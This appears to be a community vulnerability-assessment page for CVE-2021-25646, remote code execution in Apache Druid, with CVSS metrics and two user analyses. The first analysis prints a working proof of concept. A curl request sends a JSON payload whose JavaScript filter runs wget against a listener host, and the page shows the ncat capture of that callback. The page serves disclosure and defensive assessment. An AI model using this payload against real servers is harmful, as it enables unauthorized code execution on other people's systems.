Attacker Value
High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
2

CVE-2021-25646

Disclosure Date: January 29, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

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6
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

From Wikipedia:

Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.

Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]

Contrary to the CVE description, this appears to be both unauthenticated and vulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?

wvu@kharak:~/Downloads$ curl -vH "Content-Type: application/json" http://127.0.0.1:8888/druid/indexer/v1/sampler -d @payload.json
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> POST /druid/indexer/v1/sampler HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 949
>
* upload completely sent off: 949 out of 949 bytes
< HTTP/1.1 200 OK
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Content-Type: application/json
< Vary: Accept-Encoding, User-Agent
< Content-Length: 999
<
* Connection #0 to host 127.0.0.1 left intact
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0
wvu@kharak:~/Downloads$
wvu@kharak:~$ ncat -lkv 8080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.123.1.
Ncat: Connection from 192.168.123.1:56727.
GET / HTTP/1.1
Host: 192.168.123.1:8080
User-Agent: Wget
Connection: close

payload.json is adapted from this PoC, then formatted with jq.

wvu@kharak:~/Downloads$ cat payload.json
{
  "type": "index",
  "spec": {
    "type": "index",
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "http",
        "uris": [
          "https://druid.apache.org/data/example-manifests.tsv"
        ]
      },
      "inputFormat": {
        "type": "tsv",
        "findColumnsFromHeader": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "missingValue": "2010-01-01T00:00:00Z"
      },
      "dimensionsSpec": {},
      "transformSpec": {
        "transforms": [],
        "filter": {
          "type": "javascript",
          "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.123.1:8080/')}",
          "dimension": "added",
          "": {
            "enabled": "true"
          }
        }
      }
    },
    "tuningConfig": {
      "type": "index"
    }
  },
  "samplerConfig": {
    "numRows": 50,
    "timeoutMs": 10000
  }
}
wvu@kharak:~/Downloads$

Some references for creating your own PoC:

5
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Agree with @wvu-r7’s assessment. An installation of Apache Druid from the official release archives was technically vulnerable by default. No auth required, and then the JavaScript execution setting can be enabled in a single request. That same request can hold the payload that gets an attacker RCE as well. The ingestion format is well-documented on Apache Druid’s site, so creating an exploit from scratch is relatively trivial. Wanted to add to this, as there is now a Metasploit Module in the works.

CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • Apache Software Foundation

Products

  • Apache Druid

References

Advisory

Additional Info

Technical Analysis